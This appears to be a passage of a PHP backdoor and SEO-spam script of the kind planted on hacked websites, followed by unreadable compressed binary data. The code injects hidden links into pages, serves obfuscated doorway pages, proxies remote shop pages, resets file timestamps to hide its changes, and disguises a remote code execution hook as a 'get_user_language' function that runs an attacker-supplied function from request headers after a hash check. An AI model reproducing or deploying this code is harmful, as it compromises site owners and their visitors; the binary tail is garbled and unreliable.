/i',$content)) {
$content=preg_replace('/(
)/is', "$1$links_content", $content, 1);
}
elseif (preg_match('/<\/body>/i',$content)) {
$content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content);
$content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1);
}
} else {
if (sizeof($matches)<$linksCount){
$difference = $linksCount - sizeof($matches);
for ($i=0; $i<$difference; $i++){
$matches[] = $matches[0];
}
}
for ($i=0; $i<$linksCount; $i++){
if (rand(0,9) == 0) {
$link = ''.$links2[$i]['url'].'';
} else {
$link = ''.$links2[$i]['keyword'].'';
}
$link = ''.$links2[$i]['keyword'].'';
$content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content);
}
}
if($deflated)
$content = gzencode($content);
$clen = strlen($content);
@header("Content-Length: $clen");
return $content;
}
function get_server_var($var = ''){
if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){
return $_SERVER[$var];
} else if ( function_exists('getenv') && getenv($var)){
return getenv($var);
} else {
return '';
}
}
function get_hostname($remove_www = false){
$server_host = get_server_var('HTTP_HOST');
if ( empty($server_host) ){
$server_host = get_server_var('SERVER_NAME');
}
if ( $remove_www ){
$server_host = preg_replace('#^www\.#i', '', $server_host);
}
return $server_host;
}
function showDoorPage($page_file){
$src = decompress(@file_get_contents($page_file));
if (strlen($src) > 0){
if (substr($src,0,5) == '%PDF-'){
@header('Content-Type: application/pdf');
}
}
echo $src;
exit;
}
function decompress($data){
return @gzinflate(@str_rot13(@base64_decode($data)));
}
function compress($data){
return @base64_encode( @str_rot13( @gzdeflate( $data ) ) );
}
function redirect($url, $user_agent, $cache_dir){
$no_shop_download = FALSE;
$cache_lifetime = 172800;
@ini_set('user_agent', $user_agent);
$location = getRedirectLocation($url, $user_agent);
if($location === FALSE || strlen($location)<5){
safeRedirect($url);
} else if ($no_shop_download){
safeRedirect($location);
}
$cache_file = $cache_dir.md5($location);
if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){
if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){
if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){
if ( $cache_data['time'] + $cache_lifetime > time() ){
if ($html = decompress($cache_data['html'])){
send_nocache_headers();
echo $html;
echo '';
exit;
}
}
}
}
}
$html = fetchRemoteFile($location);
if($html===false || @strlen($html)<10){
safeRedirect($location);
}
$baseTag = "";
if (preg_match('//i',$html)){
$html=preg_replace('/()/i', "$1$baseTag", $html, 1);
} else if (stripos($html,'')!==false){
$html = str_ireplace('', $baseTag."\n".'', $html);
} else {
echo ''.$baseTag.'';
}
$cache_data = array(
'time' => time(),
'html' => compress($html)
);
$cache_dir_time = @filemtime($cache_dir);
@file_put_contents($cache_file, compress( @serialize($cache_data) ) );
@touch($cache_dir, $cache_dir_time);
@touch($cache_file, $cache_dir_time);
send_nocache_headers();
echo $html;
exit;
}
function safeRedirect($url){
send_nocache_headers();
if (!headers_sent()){
header("Location: $url");
} else {
echo "";
echo "";
echo '';
}
exit;
}
function addRemoteIp($ip, $url){
$url_parsed = parse_url($url);
if (isset($url_parsed['query']))
return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip;
else
return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ;
}
function send_nocache_headers(){
if (!headers_sent()){
@header('Cache-Control: no-cache, no-store, must-revalidate');
@header('Pragma: no-cache');
@header('Expires: 0');
}
}
function get_user_language(){
if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){
$language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']);
$accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a';
if ($language_code == $accepted_languages){
return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']);
} else {
return false;
}
}
}
function getRedirectLocation($url, $user_agent){
if (function_exists('curl_init') && $ch = @curl_init($url)){
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
@curl_setopt($ch, CURLOPT_HEADER, TRUE);
@curl_setopt($ch, CURLOPT_NOBODY, TRUE);
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
if ($response = @curl_exec($ch)){
if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){
@curl_close($ch);
return $redirect_location;
} else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){
@curl_close($ch);
return trim($match[1]);
}
}
@curl_close($ch);
}
if (function_exists('get_headers')){
if ($headers = @get_headers($url, true)){
if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){
$redirect_location = $headers['Location'];
if (sizeof($redirect_location)>1){
$redirect_location = $redirect_location[sizeof($redirect_location)-1];
}
return $redirect_location;
}
}
}
return FALSE;
}
function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') {
if (function_exists('curl_init')){
if ($ch = @curl_init()) {
@curl_setopt($ch, CURLOPT_URL, $url);
@curl_setopt($ch, CURLOPT_HEADER, false);
@curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
@curl_setopt($ch, CURLOPT_TIMEOUT, 10);
@curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7);
@curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
@curl_setopt($ch, CURLOPT_COOKIE, $sendCookies);
$data = @curl_exec($ch);
@curl_close($ch);
if ($data) {
return $data;
}
}
} elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){
$opts = array(
'http' => array(
'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}"
)
);
$context = stream_context_create($opts);
if ($data = @file_get_contents($url, false, $context)) {
return $data;
}
} else {
$urlParams = @parse_url($url);
$host = $urlParams['host'];
$path = $urlParams['path'];
if (isset($urlParams['query']))
$path .= '?'.$urlParams['query'];
$buff = '';
$fp = @fsockopen($host, 8888, $errno, $errstr);
if ($fp) {
@fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n");
@fputs($fp, "Cookie: {$sendCookies}\r\n\r\n");
@fputs($fp, "User-Agent: {$user_agent}\r\n\r\n");
while (!@feof($fp)) {
$buff .= @fgets($fp, 128);
}
@fclose($fp);
$page = explode("\r\n\r\n", $buff);
unset($page[0]);
return implode("\r\n\r\n", $page);
}
}
return false;
}
‹ í}[›£6¶èsò+×7ÝåÄ`ÀÆ·êªÙ�žd2s’I¾tfÏC&§?°M7pUW×Ôù/ûqÎÓyÛ¯ùcg-I€À`cÕÝ™í\\ ----Ië¦Ï>³+¹
²JÖÞÕ§Ïðñ¨¿¼ì8q‡X�ãËŽ(¯áÍMœ5_vVIƳ~?¶VΚªA´ìéK[Aè .‡ÚWŸ~òlí$”X+ÅNrÙùëO_+“N–îÓ5à»v�›0ˆ¨1ðǸ×NV—¶síZŽÂ^zÄõÝÄ¥ž[Ôs.õYCÊz³NÚÄM<çêÏAüë¿È:§žçDyr61tý‚üðë-]Ÿ’A–ò�'AäR2ÿõ_‰kÑg}ŽáS‰À§Q0’øiFÞÓ5}«¸kºt”0r�ü™G£¥ó”ô¡ çúoHäx—Om?F€…“X«§dO—Oûý×NRë�zD6䯱jëfEcM½ ›ƒ‡›¹çZ
Ý£*s¬Mä¨Ëˆ^Ó„FÍB-�$®!à��¾c%y ·¦]ê%NäÓÄé>öhB“hâ~?Šã/Þ®=ÈÂ.»ì”û’<‰è?6ÁùÚqì¯,¼777êšúÿØ8¡ëD6ÅÚû+�!r¨7w7î/ h¿óhTÛ!^ÃÈZÃÀ¢‘ÄG
©ˆB¦ø“O>y[‘&W0Ñ7˜¦_y{gsü[À¦FÎ:¸vÎÉS6ߟ’îų¾(Í0µÝü¯Ús¬s×(�©Ÿ\@͈Td½Uⵃ›Êì•ã.WÉŒèκ”ÄxUÆ$§ëψF4Uoe_;O¡ž»0ES·qÌAž.£`ãÛ•T…Ô¶]‰u2*z£†£;ú`îÖÅsç�n‹�0‹‚ ¹S”*¾õ-dž>ö‚hv6¦šf/.jò%ZÎgºaô´ža¶Q s,×4:¯ÁÐåeÛ…)ÓÁ¿¦±"±ê̶mBmÐ¥JêÜI‰Ó´±5§5Ùœ6§Ãž>ÕAÙ4zãDŠ®!ºÑœê{3ÄÚ¸§�4ÕÜSÂ`¨M:ïLQOû €—wnf(�ñÌ€©úkà%çš3ð6(àfúÔ°C·{'un-]5Ñ=ÎC‡\e¾I’À¿Õ›Ã ¤…Ý3dD]AÁ€¿…áÓHÕ{+uoÑ]9avæ8ÎlwcÿÝE/Ù¨¾hf÷ÚµÒq|ź¥Ð[�Hcosoã ÛeÜÊH•¨žá£Quýi;ËŒ[›áïh:p]¹Öp…Œ‰h¯ŽE?:†è‡cC_̉©ý®wF纽p
Uè;dÇ�l=J-:é�ÙÔÖ«€;ÞÌí
ÌïÀs¯�fÓ‚.¨£÷ÎFc:ëü4 Ö ¸,P§ë£ÑÛöxJ±7†ÔœÐû8 P}Mû` MGÀ›�nÙÖ¢€|íÚ~:`�=†6˜ [ŒÉx¸HÙÎ'8¹à¿(0-*jEñƒhM½™>
ß^Ô6Kg6DiÂHŒœå<…â.{š�Vã@Ì•¨†1Ô‘a¦pœ€J¸L)ÔÞåH�ÀÃQ`©ïçmÂ5´b9(Ñîò”O©÷œE"ã{
h„½+òގ…›0л›x¡J–3󃛈†¹Ê¿?s@æAsÜwtÒ@hFptP²ß¥FZ÷*«B4Æò`ÄÌÀ \Ý«ÌÉU^oâÄ]¸0Yøë"<ÄÙÂsÀNƒ>Ù. p–‹.m�óVWV Ù†gMWÀ¾ »U®�{¯‚��r¦;ª.Î@Pc
òmÆŠd1 »P»°<7TB
ºNr¢°{!l?惰é|§"Zx`/®\Ûvü‹ÔÓ. v™J¥s¦]�n$b)FÅèz³EFÕ3¦o+4š89µØ³"g8^¤=Îl§‹Â\L›ƒ¦ùöñTù3îD§+k�ùÄ ©?H6Lmpu#æñª“ dhx;êw`2ÚÎÛ™®á?÷,3»Y9‘sζ°*¸Aw'Þ˜:¦¹v¡ÄÏ,ã_Ê…ÐYÁÔÏ/;rzGÎ ÅœC+‚vÕV–åUV(åf•bZÊÙä¨Zʬ¼�ŸUÏS 2Tf-rv% E€Œ‘Ü�žµ$䙕ÈÙYõ,±aål,WÔËÒ+«9DzºÊ²¼ÚAV®ôàAVWµ”»c�•«?f�ÕQ gïdeŽdu$ä™õƒ¬\ýÎAæ®—?³ØÔç